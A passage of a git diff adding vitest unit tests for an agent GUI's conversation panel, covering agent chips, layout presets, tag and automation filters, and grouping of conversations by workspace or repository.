+ // OpenHands logo + the raw ``agent.llm.model`` string. A stray
+ // ``acp_server`` value on an OpenHands card must not flip the icon to
+ // the Claude/Codex/Gemini brand mark.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("claude-sonnet-4");
+ expect(chip).toHaveAttribute("title", "claude-sonnet-4");
+ expect(
+ within(chip).getByTestId("agent-brand-icon-openhands"),
+ ).toBeInTheDocument();
+ expect(
+ within(chip).queryByTestId("agent-brand-icon-claude-code"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("labels a DB-flagged free OpenHands route on native conversation chips", () => {
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(["openhands/glm-5.2"]),
+ defaultModel: "openhands/glm-5.2",
+ });
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("glm-5.2 (free)");
+ expect(chip).toHaveAttribute("title", "openhands/glm-5.2");
+
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(),
+ defaultModel: null,
+ });
+ });
+
+ it("hides the chip for OpenHands conversations with no model", () => {
+ // Toggle on, but no model string and no ACP server — nothing to
+ // display, so the chip collapses rather than showing a bare logo.
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-agent-chip"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("calls onTogglePin when the pin button is clicked", async () => {
+ const onTogglePin = vi.fn();
+ const user = userEvent.setup();
+
+ renderWithProviders(
+ ,
+ );
+
+ const card = screen.getByTestId("conversation-card");
+ await user.hover(card);
+ await user.click(
+ screen.getByTestId("conversation-pin-toggle-conversation-1"),
+ );
+ expect(onTogglePin).toHaveBeenCalledTimes(1);
+ });
+
+ it("keeps the pin icon visible without hover when alwaysShowPinIcon is set", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-pin-toggle-conversation-1"),
+ ).toBeVisible();
+ expect(screen.getByRole("time")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx b/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1c666860e20e631c67a5dbf630d8f94800dedd40
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-layouts-menu.test.tsx
@@ -0,0 +1,206 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationLayoutsMenu } from "#/components/features/conversation-panel/conversation-layouts-menu";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+import { UNNAMED_AUTOMATION_FACET } from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+
+beforeEach(() => {
+ useConversationPanelPreferencesStore.setState({
+ organizeMode: "chronological",
+ conversationSort: "updated",
+ threadScope: "all",
+ showOlderConversations: true,
+ showArchivedConversations: false,
+ showRepoBranchMetadata: false,
+ showLlmProfiles: false,
+ showTagsMetadata: false,
+ showHoverMetadata: true,
+ automationFilterMode: "all",
+ selectedAutomationNames: [],
+ selectedTagFacets: [],
+ });
+});
+
+const renderMenu = (
+ tagFacets: readonly string[] = [],
+ automationNameFacets: readonly string[] = [],
+) =>
+ renderWithProviders(
+ {}}
+ menuRef={{ current: null }}
+ backendKind="local"
+ tagFacets={tagFacets}
+ automationNameFacets={automationNameFacets}
+ totalConversationsCount={1}
+ onRequestDeleteAll={() => {}}
+ />,
+ );
+
+describe("ConversationLayoutsMenu", () => {
+ it("applies a layout preset bundle and marks it selected", async () => {
+ const user = userEvent.setup();
+ renderMenu();
+
+ await user.click(screen.getByTestId("layout-preset-focused"));
+
+ const state = useConversationPanelPreferencesStore.getState();
+ expect(state.organizeMode).toBe("chronological");
+ expect(state.conversationSort).toBe("updated");
+ expect(state.threadScope).toBe("relevant");
+ expect(state.showOlderConversations).toBe(false);
+ // Applying a preset resets every layout-controlled field.
+ expect(state.showTagsMetadata).toBe(true);
+ expect(state.showHoverMetadata).toBe(true);
+ });
+
+ it("replaces the previous mode and marks each clicked preset selected", async () => {
+ const user = userEvent.setup();
+ renderMenu();
+
+ await user.click(screen.getByTestId("layout-preset-minimal"));
+ expect(screen.getByTestId("layout-preset-minimal")).toHaveAttribute(
+ "aria-checked",
+ "true",
+ );
+
+ await user.click(screen.getByTestId("layout-preset-focused"));
+ expect(screen.getByTestId("layout-preset-focused")).toHaveAttribute(
+ "aria-checked",
+ "true",
+ );
+ expect(screen.getByTestId("layout-preset-minimal")).toHaveAttribute(
+ "aria-checked",
+ "false",
+ );
+ expect(
+ useConversationPanelPreferencesStore.getState().showTagsMetadata,
+ ).toBe(true);
+
+ await user.click(screen.getByTestId("layout-preset-recent-activity"));
+ expect(
+ screen.getByTestId("layout-preset-recent-activity"),
+ ).toHaveAttribute("aria-checked", "true");
+
+ await user.click(screen.getByTestId("layout-preset-by-workspace"));
+ expect(screen.getByTestId("layout-preset-by-workspace")).toHaveAttribute(
+ "aria-checked",
+ "true",
+ );
+ });
+
+ it("labels the Advanced options row Custom when no preset matches", async () => {
+ // Matches no preset: the chronological presets all hide older
+ // conversations, and by-workspace requires grouped mode.
+ useConversationPanelPreferencesStore.getState().applyLayoutSettings({
+ organizeMode: "chronological",
+ conversationSort: "updated",
+ threadScope: "relevant",
+ showOlderConversations: true,
+ });
+
+ renderMenu();
+
+ expect(screen.getByTestId("advanced-options-row")).toHaveTextContent(
+ "CONVERSATION_PANEL$ADVANCED_OPTIONS_CUSTOM",
+ );
+ });
+
+ it("always exposes the Tag Filters section", () => {
+ renderMenu(["project=vault"]);
+ expect(screen.getByTestId("tag-filters-section")).toBeInTheDocument();
+ });
+
+ it("shows No visible tags when enabled with no facets, and toggles facets when present", async () => {
+ const user = userEvent.setup();
+ const { unmount } = renderMenu();
+ await user.click(screen.getByTestId("tag-filters-section"));
+ expect(screen.getByTestId("tag-filters-empty")).toBeInTheDocument();
+ unmount();
+
+ renderMenu(["project=vault"]);
+ await user.click(screen.getByTestId("tag-filters-section"));
+ await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+ expect(
+ useConversationPanelPreferencesStore.getState().selectedTagFacets,
+ ).toEqual(["project=vault"]);
+ });
+
+ it("opens the Advanced options modal, applies toggles live, and closes via Close", async () => {
+ const user = userEvent.setup();
+ renderMenu();
+
+ expect(
+ screen.queryByTestId("advanced-conversation-options-modal"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("advanced-options-row"));
+ expect(
+ await screen.findByTestId("advanced-conversation-options-modal"),
+ ).toBeInTheDocument();
+
+ // Toggle rows apply immediately and keep the modal open.
+ await user.click(screen.getByTestId("toggle-tags-metadata"));
+ expect(
+ useConversationPanelPreferencesStore.getState().showTagsMetadata,
+ ).toBe(true);
+ expect(
+ screen.getByTestId("advanced-conversation-options-modal"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("advanced-options-close"));
+ expect(
+ screen.queryByTestId("advanced-conversation-options-modal"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("exposes the automation-name facet rows once the scope is only-automations", async () => {
+ // These rows are the only control for `selectedAutomationNames`, which is
+ // persisted and narrows the list on its own — without them a stale
+ // selection hides conversations with no way back.
+ const user = userEvent.setup();
+ renderMenu([], ["Nightly Audit", "PR Review Bot"]);
+
+ await user.click(screen.getByTestId("advanced-options-row"));
+ await screen.findByTestId("advanced-conversation-options-modal");
+
+ // Hidden while the list is not scoped to automations...
+ expect(
+ screen.queryByTestId("automation-name-row-Nightly Audit"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("automation-filter-only"));
+
+ // ...and selectable once it is.
+ await user.click(
+ await screen.findByTestId("automation-name-row-Nightly Audit"),
+ );
+ expect(
+ useConversationPanelPreferencesStore.getState().selectedAutomationNames,
+ ).toEqual(["Nightly Audit"]);
+
+ // Toggling it back off leaves the scope alone.
+ await user.click(screen.getByTestId("automation-name-row-Nightly Audit"));
+ const next = useConversationPanelPreferencesStore.getState();
+ expect(next.selectedAutomationNames).toEqual([]);
+ expect(next.automationFilterMode).toBe("only-automations");
+ });
+
+ it("labels the unnamed-automation bucket instead of leaking its sentinel", async () => {
+ const user = userEvent.setup();
+ useConversationPanelPreferencesStore.setState({
+ automationFilterMode: "only-automations",
+ });
+ renderMenu([], [UNNAMED_AUTOMATION_FACET]);
+
+ await user.click(screen.getByTestId("advanced-options-row"));
+
+ const row = await screen.findByTestId(
+ `automation-name-row-${UNNAMED_AUTOMATION_FACET}`,
+ );
+ expect(row).not.toHaveTextContent(UNNAMED_AUTOMATION_FACET);
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts b/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2453a0277f7ea6917aa03bd800eac119b8b1ea90
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts
@@ -0,0 +1,879 @@
+import { describe, expect, it } from "vitest";
+import {
+ applyAutomationConversationFilter,
+ applyGroupFolderOrder,
+ applyTagConversationFilter,
+ collectAutomationNameFacets,
+ collectTagFacets,
+ formatTagFacetLabel,
+ getGroupConversationPreview,
+ getGroupDiscoveryConversationIds,
+ groupConversations,
+ GROUP_CONVERSATIONS_PREVIEW_LIMIT,
+ isAutomationConversation,
+ isOlderConversationCutoff,
+ parseConversationTimeMs,
+ partitionByCutoff,
+ OLDER_CONVERSATION_CUTOFF_MS,
+ moveGroupFolderOrder,
+ resolvePinnedConversations,
+ sortConversationsByField,
+ UNNAMED_AUTOMATION_FACET,
+} from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { ExecutionStatus } from "#/types/agent-server/core";
+
+const base: Omit = {
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ updated_at: "2024-01-02T00:00:00.000Z",
+ created_at: "2024-01-01T00:00:00.000Z",
+ execution_status: ExecutionStatus.FINISHED,
+ conversation_url: null,
+ created_by_user_id: null,
+ metrics: null,
+ llm_model: null,
+ trigger: null,
+ pr_number: [],
+ session_api_key: null,
+ sandbox_id: null,
+ sub_conversation_ids: [],
+};
+
+describe("conversation-panel-list-helpers", () => {
+ it("parseConversationTimeMs returns 0 for missing or unparseable timestamps and ms for ISO strings", () => {
+ // Three branches in one assertion: missing input (undefined), malformed
+ // string (NaN from Date.parse), and a real ISO timestamp.
+ expect([
+ parseConversationTimeMs(undefined),
+ parseConversationTimeMs("not-a-date"),
+ parseConversationTimeMs("2024-01-02T00:00:00.000Z"),
+ ]).toEqual([0, 0, Date.UTC(2024, 0, 2)]);
+ });
+
+ it("sorts by updated desc", () => {
+ const a: AppConversation = {
+ ...base,
+ id: "a",
+ title: "a",
+ updated_at: "2024-01-01T00:00:00.000Z",
+ created_at: "2024-01-01T00:00:00.000Z",
+ };
+ const b: AppConversation = {
+ ...base,
+ id: "b",
+ title: "b",
+ updated_at: "2024-01-03T00:00:00.000Z",
+ created_at: "2024-01-01T00:00:00.000Z",
+ };
+ expect(
+ sortConversationsByField([a, b], "updated").map((c) => c.id),
+ ).toEqual(["b", "a"]);
+ });
+
+ it("sorts by created desc independently of updated", () => {
+ // Inverted: the newer `created_at` belongs to the older `updated_at`,
+ // so a "created" sort must NOT fall through to `updated_at`.
+ const a: AppConversation = {
+ ...base,
+ id: "a",
+ title: "a",
+ created_at: "2024-01-05T00:00:00.000Z",
+ updated_at: "2024-01-01T00:00:00.000Z",
+ };
+ const b: AppConversation = {
+ ...base,
+ id: "b",
+ title: "b",
+ created_at: "2024-01-02T00:00:00.000Z",
+ updated_at: "2024-01-10T00:00:00.000Z",
+ };
+ expect(
+ sortConversationsByField([b, a], "created").map((c) => c.id),
+ ).toEqual(["a", "b"]);
+ });
+
+ it("normalizes group keys and labels across edge-case inputs", () => {
+ // Bundles edge cases the implementation must handle into one assertion
+ // so each is covered without proliferating tests:
+ // - workspace paths with trailing slashes are normalized
+ // - whitespace-only `selected_workspace` falls back to "No workspace"
+ // - root-only paths ("/", "///") trim+strip to "" and bucket to the
+ // "no workspace" / "no repository" fallback instead of producing
+ // stray `ws:` / `repo:/` groups
+ // - repository paths ignore trailing slashes (so `org/repo` and
+ // `org/repo/` collapse into the same group)
+ // - repository names ending in `.git` strip the suffix in the label
+ // - missing/invalid timestamps don't break group ordering (they sort
+ // to the bottom rather than throwing)
+ const trailingSlash: AppConversation = {
+ ...base,
+ id: "ws-trailing",
+ title: "ws-trailing",
+ selected_workspace: "/workspace/agent-server-gui///",
+ updated_at: "2024-01-04T00:00:00.000Z",
+ };
+ const whitespaceOnly: AppConversation = {
+ ...base,
+ id: "ws-blank",
+ title: "ws-blank",
+ selected_workspace: " ",
+ updated_at: "2024-01-02T00:00:00.000Z",
+ };
+ const rootOnly: AppConversation = {
+ ...base,
+ id: "ws-root",
+ title: "ws-root",
+ selected_workspace: "/",
+ updated_at: "2024-01-03T00:00:00.000Z",
+ };
+ const localGroups = groupConversations(
+ [trailingSlash, whitespaceOnly, rootOnly],
+ "local",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ );
+ expect(
+ localGroups.map((g) => ({
+ id: g.id,
+ label: g.label,
+ ids: g.conversations.map((c) => c.id),
+ })),
+ ).toEqual([
+ {
+ id: "ws:/workspace/agent-server-gui",
+ label: "agent-server-gui",
+ ids: ["ws-trailing"],
+ },
+ // Both whitespace-only and "/" collapse into the same fallback
+ // bucket — ordered by updated_at desc within the group.
+ {
+ id: "__none_workspace",
+ label: "No workspace",
+ ids: ["ws-root", "ws-blank"],
+ },
+ ]);
+
+ const dotGit: AppConversation = {
+ ...base,
+ id: "repo-git",
+ title: "repo-git",
+ selected_repository: "org/canvas.git",
+ // Unparseable timestamp — must not throw; falls to 0 ms and sorts last.
+ updated_at: "not-a-date",
+ };
+ const repoTrailingSlash: AppConversation = {
+ ...base,
+ id: "repo-slash",
+ title: "repo-slash",
+ // Same logical repo as `dotGit` would be without `.git`; with the
+ // trailing-slash normalization both forms must collapse together
+ // when they share the same path.
+ selected_repository: "org/sdk/",
+ updated_at: "2024-01-05T00:00:00.000Z",
+ };
+ const repoNoSlash: AppConversation = {
+ ...base,
+ id: "repo-noslash",
+ title: "repo-noslash",
+ selected_repository: "org/sdk",
+ updated_at: "2024-01-06T00:00:00.000Z",
+ };
+ const blankRepo: AppConversation = {
+ ...base,
+ id: "repo-blank",
+ title: "repo-blank",
+ selected_repository: " ",
+ updated_at: "2024-01-04T00:00:00.000Z",
+ };
+ const rootRepo: AppConversation = {
+ ...base,
+ id: "repo-root",
+ title: "repo-root",
+ selected_repository: "/",
+ updated_at: "2024-01-03T00:00:00.000Z",
+ };
+ const cloudGroups = groupConversations(
+ [dotGit, repoTrailingSlash, repoNoSlash, blankRepo, rootRepo],
+ "cloud",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ );
+ expect(
+ cloudGroups.map((g) => ({
+ id: g.id,
+ label: g.label,
+ ids: g.conversations.map((c) => c.id),
+ })),
+ ).toEqual([
+ // `org/sdk` and `org/sdk/` collapse to one group.
+ {
+ id: "repo:org/sdk",
+ label: "sdk",
+ ids: ["repo-noslash", "repo-slash"],
+ },
+ // Whitespace and "/" both bucket into the empty-repo fallback,
+ // sorted by updated_at desc within the group.
+ {
+ id: "__none_repo",
+ label: "No repository",
+ ids: ["repo-blank", "repo-root"],
+ },
+ {
+ id: "repo:org/canvas.git",
+ label: "canvas",
+ ids: ["repo-git"],
+ },
+ ]);
+ });
+
+ it("limits grouped folder previews to five conversations with an expand path", () => {
+ const conversations = Array.from({ length: 6 }, (_, index) => ({
+ ...base,
+ id: `c-${index}`,
+ title: `Conversation ${index}`,
+ updated_at: `2024-01-0${index + 1}T00:00:00.000Z`,
+ }));
+
+ const truncated = getGroupConversationPreview(conversations, {
+ expanded: false,
+ });
+ expect(truncated.visibleConversations.map((c) => c.id)).toEqual([
+ "c-0",
+ "c-1",
+ "c-2",
+ "c-3",
+ "c-4",
+ ]);
+ expect(truncated.isPreviewTruncated).toBe(true);
+ expect(truncated.isShowingAll).toBe(false);
+
+ const expanded = getGroupConversationPreview(conversations, {
+ expanded: true,
+ });
+ expect(expanded.visibleConversations).toHaveLength(6);
+ expect(expanded.isPreviewTruncated).toBe(true);
+ expect(expanded.isShowingAll).toBe(true);
+
+ const withActiveBeyondPreview = getGroupConversationPreview(conversations, {
+ expanded: false,
+ activeConversationId: "c-5",
+ });
+ expect(
+ withActiveBeyondPreview.visibleConversations.map((c) => c.id),
+ ).toEqual(["c-0", "c-1", "c-2", "c-3", "c-5"]);
+ expect(GROUP_CONVERSATIONS_PREVIEW_LIMIT).toBe(5);
+ });
+
+ it("freezes discovery preview ids per folder and force-includes the active conversation", () => {
+ // Later pages may still contain rows for already-visible folders; those
+ // stay out of the collapsed discovery set so global Load more does not
+ // mutate an exposed folder's preview. The active conversation is still
+ // force-included even when it lands on a non-discovery page.
+ const items = [
+ {
+ ...base,
+ id: "none-1",
+ title: "None 1",
+ selected_workspace: null,
+ },
+ {
+ ...base,
+ id: "none-2",
+ title: "None 2",
+ selected_workspace: null,
+ },
+ {
+ ...base,
+ id: "alpha-1",
+ title: "Alpha 1",
+ selected_workspace: "/workspace/alpha",
+ },
+ ] as AppConversation[];
+ const pageByConversationId = new Map([
+ ["none-1", 0],
+ ["none-2", 1],
+ ["alpha-1", 1],
+ ]);
+
+ expect([
+ ...getGroupDiscoveryConversationIds(
+ items,
+ pageByConversationId,
+ "local",
+ ),
+ ]).toEqual(["none-1", "alpha-1"]);
+
+ expect([
+ ...getGroupDiscoveryConversationIds(items, pageByConversationId, "local", {
+ forceIncludeConversationId: "none-2",
+ }),
+ ]).toEqual(["none-1", "alpha-1", "none-2"]);
+
+ const grouped = groupConversations(items, "local", "updated", {
+ emptyWorkspace: "No workspace",
+ emptyRepository: "No repository",
+ });
+ const noneGroup = grouped.find((group) => group.id === "__none_workspace");
+ expect(noneGroup?.conversations.map((c) => c.id)).toEqual([
+ "none-1",
+ "none-2",
+ ]);
+
+ const discoveryIds = getGroupDiscoveryConversationIds(
+ items,
+ pageByConversationId,
+ "local",
+ );
+ const collapsed = getGroupConversationPreview(noneGroup!.conversations, {
+ expanded: false,
+ discoveryConversationIds: discoveryIds,
+ });
+ expect(collapsed.visibleConversations.map((c) => c.id)).toEqual(["none-1"]);
+ expect(collapsed.isPreviewTruncated).toBe(true);
+
+ const expanded = getGroupConversationPreview(noneGroup!.conversations, {
+ expanded: true,
+ discoveryConversationIds: discoveryIds,
+ });
+ expect(expanded.visibleConversations.map((c) => c.id)).toEqual([
+ "none-1",
+ "none-2",
+ ]);
+ });
+
+ it("resolvePinnedConversations preserves pin order and drops missing ids", () => {
+ const conversations = [
+ { ...base, id: "a", title: "A" },
+ { ...base, id: "b", title: "B" },
+ { ...base, id: "c", title: "C" },
+ ] as AppConversation[];
+
+ expect(
+ resolvePinnedConversations(["c", "missing", "a"], conversations).map(
+ (conversation) => conversation.id,
+ ),
+ ).toEqual(["c", "a"]);
+ });
+
+ it("groups local conversations by selected_workspace, collapsing per-conversation worktree paths", () => {
+ // Two worktree-mode conversations launched against the same workspace must
+ // end up in a single group keyed off the user-selected workspace, not split
+ // by the runtime worktree dir.
+ const sameWsA: AppConversation = {
+ ...base,
+ id: "1",
+ title: "one",
+ selected_workspace: "/workspace/agent-server-gui",
+ workspace: { working_dir: "/workspace/agent-server-gui/wt-abc" },
+ updated_at: "2024-01-02T00:00:00.000Z",
+ };
+ const sameWsB: AppConversation = {
+ ...base,
+ id: "2",
+ title: "two",
+ selected_workspace: "/workspace/agent-server-gui",
+ workspace: { working_dir: "/workspace/agent-server-gui/wt-def" },
+ updated_at: "2024-01-04T00:00:00.000Z",
+ };
+ // Different workspace — its own group.
+ const otherWs: AppConversation = {
+ ...base,
+ id: "3",
+ title: "three",
+ selected_workspace: "/workspace/other",
+ workspace: { working_dir: "/workspace/other/wt-xyz" },
+ updated_at: "2024-01-03T00:00:00.000Z",
+ };
+ // No user-selected workspace — must bucket under "No workspace"
+ // even though working_dir is set (to a per-conversation default).
+ const none: AppConversation = {
+ ...base,
+ id: "4",
+ title: "four",
+ selected_workspace: null,
+ workspace: { working_dir: "/workspace/project/agent-canvas/wt-noop" },
+ updated_at: "2024-01-01T00:00:00.000Z",
+ };
+
+ const groups = groupConversations(
+ [sameWsA, sameWsB, otherWs, none],
+ "local",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ );
+
+ expect(
+ groups.map((g) => ({
+ id: g.id,
+ label: g.label,
+ ids: g.conversations.map((c) => c.id),
+ launch: g.launch,
+ })),
+ ).toEqual([
+ {
+ id: "ws:/workspace/agent-server-gui",
+ label: "agent-server-gui",
+ ids: ["2", "1"],
+ launch: { workingDir: "/workspace/agent-server-gui" },
+ },
+ {
+ id: "ws:/workspace/other",
+ label: "other",
+ ids: ["3"],
+ launch: { workingDir: "/workspace/other" },
+ },
+ {
+ id: "__none_workspace",
+ label: "No workspace",
+ ids: ["4"],
+ launch: {},
+ },
+ ]);
+ });
+
+ it("groups cloud conversations by repository string", () => {
+ const r1: AppConversation = {
+ ...base,
+ id: "1",
+ title: "one",
+ selected_repository: "org/agent-canvas",
+ updated_at: "2024-01-02T00:00:00.000Z",
+ };
+ const r2: AppConversation = {
+ ...base,
+ id: "2",
+ title: "two",
+ selected_repository: "org/sdk",
+ updated_at: "2024-01-03T00:00:00.000Z",
+ };
+
+ const groups = groupConversations([r1, r2], "cloud", "updated", {
+ emptyWorkspace: "No workspace",
+ emptyRepository: "No repository",
+ });
+
+ expect(groups.map((g) => g.label)).toEqual(["sdk", "agent-canvas"]);
+ expect(groups[0].launch).toEqual({
+ repository: {
+ name: "org/sdk",
+ gitProvider: "github",
+ branch: "main",
+ },
+ });
+ expect(groups[1].launch).toEqual({
+ repository: {
+ name: "org/agent-canvas",
+ gitProvider: "github",
+ branch: "main",
+ },
+ });
+ });
+
+ it("applies a persisted folder order and moves folders via drag-and-drop", () => {
+ const groups = [
+ { id: "ws:/workspace/alpha", label: "alpha" },
+ { id: "ws:/workspace/beta", label: "beta" },
+ { id: "ws:/workspace/gamma", label: "gamma" },
+ ];
+
+ expect(
+ applyGroupFolderOrder(groups, [
+ "ws:/workspace/gamma",
+ "ws:/workspace/alpha",
+ ]).map((group) => group.id),
+ ).toEqual([
+ "ws:/workspace/gamma",
+ "ws:/workspace/alpha",
+ "ws:/workspace/beta",
+ ]);
+
+ expect(
+ moveGroupFolderOrder(
+ ["ws:/workspace/gamma", "ws:/workspace/alpha"],
+ groups.map((group) => group.id),
+ "ws:/workspace/alpha",
+ "ws:/workspace/beta",
+ ),
+ ).toEqual([
+ "ws:/workspace/gamma",
+ "ws:/workspace/beta",
+ "ws:/workspace/alpha",
+ ]);
+ });
+
+ it("recognizes automation-born conversations via automation tags or the cloud trigger", () => {
+ // Bundles the recognition facets: any automation tag key marks the
+ // conversation (local backend, where `trigger` is always null), the
+ // cloud backend's `trigger: "automation"` marks it even without tags,
+ // and unrelated tags / null triggers do not.
+ const taggedByName: AppConversation = {
+ ...base,
+ id: "tagged-name",
+ title: "tagged-name",
+ tags: { automationname: "Nightly Audit" },
+ };
+ const taggedByRunId: AppConversation = {
+ ...base,
+ id: "tagged-run",
+ title: "tagged-run",
+ tags: { automationrunid: "run-1" },
+ };
+ const cloudTriggered: AppConversation = {
+ ...base,
+ id: "cloud",
+ title: "cloud",
+ trigger: "automation",
+ };
+ const manual: AppConversation = {
+ ...base,
+ id: "manual",
+ title: "manual",
+ tags: { origin: "slack" },
+ };
+ expect(
+ [taggedByName, taggedByRunId, cloudTriggered, manual].map(
+ isAutomationConversation,
+ ),
+ ).toEqual([true, true, true, false]);
+ });
+
+ it("collects unique sorted automation-name facets with the unnamed bucket last", () => {
+ const conversations: AppConversation[] = [
+ {
+ ...base,
+ id: "b1",
+ title: "b1",
+ tags: { automationname: "PR Review Bot" },
+ },
+ {
+ ...base,
+ id: "unnamed",
+ title: "unnamed",
+ tags: { automationrunid: "run-1" },
+ },
+ {
+ ...base,
+ id: "a1",
+ title: "a1",
+ tags: { automationname: "Nightly Audit" },
+ },
+ {
+ ...base,
+ id: "a2",
+ title: "a2",
+ tags: { automationname: "Nightly Audit" },
+ },
+ { ...base, id: "manual", title: "manual" },
+ ];
+ expect(collectAutomationNameFacets(conversations)).toEqual([
+ "Nightly Audit",
+ "PR Review Bot",
+ UNNAMED_AUTOMATION_FACET,
+ ]);
+ });
+
+ const automationFilterFixtures: AppConversation[] = [
+ { ...base, id: "manual", title: "manual" },
+ {
+ ...base,
+ id: "audit",
+ title: "audit",
+ tags: { automationname: "Nightly Audit" },
+ },
+ {
+ ...base,
+ id: "unnamed",
+ title: "unnamed",
+ tags: { automationrunid: "run-1" },
+ },
+ ];
+ const automationFilterFacets = ["Nightly Audit", UNNAMED_AUTOMATION_FACET];
+
+ it("hides automation runs under the hide-automations filter mode", () => {
+ expect(
+ applyAutomationConversationFilter(
+ automationFilterFixtures,
+ "hide-automations",
+ [],
+ automationFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["manual"]);
+ });
+
+ it("keeps only automation runs under only-automations, narrowed by the selected name facets", () => {
+ expect(
+ applyAutomationConversationFilter(
+ automationFilterFixtures,
+ "only-automations",
+ [],
+ automationFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["audit", "unnamed"]);
+
+ expect(
+ applyAutomationConversationFilter(
+ automationFilterFixtures,
+ "only-automations",
+ [UNNAMED_AUTOMATION_FACET],
+ automationFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["unnamed"]);
+ });
+
+ it("degrades a stale name selection to all automation runs instead of an empty list", () => {
+ // Selected names persist across backends/renames; when none intersect
+ // the currently available facets the narrowing must self-heal.
+ expect(
+ applyAutomationConversationFilter(
+ automationFilterFixtures,
+ "only-automations",
+ ["Renamed Automation"],
+ automationFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["audit", "unnamed"]);
+ });
+
+ it("pre-seeds workspace groups from knownWorkspaces even when no conversations are loaded for them", () => {
+ const knownWorkspaces = [
+ { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+ { id: "/workspace/beta", name: "beta", path: "/workspace/beta" },
+ ];
+ const groups = groupConversations(
+ [],
+ "local",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ knownWorkspaces,
+ );
+ expect(groups.map((g) => ({ id: g.id, label: g.label }))).toEqual([
+ { id: "ws:/workspace/alpha", label: "alpha" },
+ { id: "ws:/workspace/beta", label: "beta" },
+ ]);
+ expect(groups.every((g) => g.conversations.length === 0)).toBe(true);
+ });
+
+ it("merges known workspaces with conversations from paginated pages into one unified group list", () => {
+ const knownWorkspaces = [
+ { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+ ];
+ const pageTwoConversation: AppConversation = {
+ ...base,
+ id: "deep",
+ title: "deep",
+ selected_workspace: "/workspace/beta",
+ updated_at: "2024-01-05T00:00:00.000Z",
+ };
+ const groups = groupConversations(
+ [pageTwoConversation],
+ "local",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ knownWorkspaces,
+ );
+ const ids = groups.map((g) => g.id);
+ expect(ids).toContain("ws:/workspace/alpha");
+ expect(ids).toContain("ws:/workspace/beta");
+ const alpha = groups.find((g) => g.id === "ws:/workspace/alpha");
+ expect(alpha?.conversations).toHaveLength(0);
+ const beta = groups.find((g) => g.id === "ws:/workspace/beta");
+ expect(beta?.conversations.map((c) => c.id)).toEqual(["deep"]);
+ });
+
+ it("uses the known workspace name for a group whose path is in knownWorkspaces", () => {
+ const knownWorkspaces = [
+ {
+ id: "/workspace/my-project",
+ name: "My Project",
+ path: "/workspace/my-project",
+ },
+ ];
+ const convo: AppConversation = {
+ ...base,
+ id: "c1",
+ title: "c1",
+ selected_workspace: "/workspace/my-project",
+ updated_at: "2024-01-02T00:00:00.000Z",
+ };
+ const groups = groupConversations(
+ [convo],
+ "local",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ knownWorkspaces,
+ );
+ const group = groups.find((g) => g.id === "ws:/workspace/my-project");
+ expect(group?.label).toBe("My Project");
+ });
+
+ it("ignores knownWorkspaces for cloud backend grouping", () => {
+ const knownWorkspaces = [
+ { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+ ];
+ const groups = groupConversations(
+ [],
+ "cloud",
+ "updated",
+ { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+ knownWorkspaces,
+ );
+ expect(groups).toHaveLength(0);
+ });
+
+ it("collects distinct user-facing key=value tag facets, sorted A–Z, excluding reserved keys", () => {
+ const conversations: AppConversation[] = [
+ {
+ ...base,
+ id: "t1",
+ title: "t1",
+ tags: {
+ origin: "slack",
+ owner: "alice",
+ // Reserved/internal keys must not surface as facets — including
+ // the automation provenance family, which the automation filter
+ // owns exclusively.
+ acpserver: "claude-code",
+ title: "internal title stamp",
+ automationname: "Nightly Audit",
+ automationtrigger: "cron",
+ },
+ },
+ {
+ ...base,
+ id: "t2",
+ title: "t2",
+ // Duplicate facet (origin=slack again) collapses into one entry.
+ tags: { origin: "slack", project: "fracture" },
+ },
+ // No user tags at all: contributes nothing (no unnamed bucket).
+ { ...base, id: "t3", title: "t3" },
+ { ...base, id: "t4", title: "t4", tags: null },
+ ];
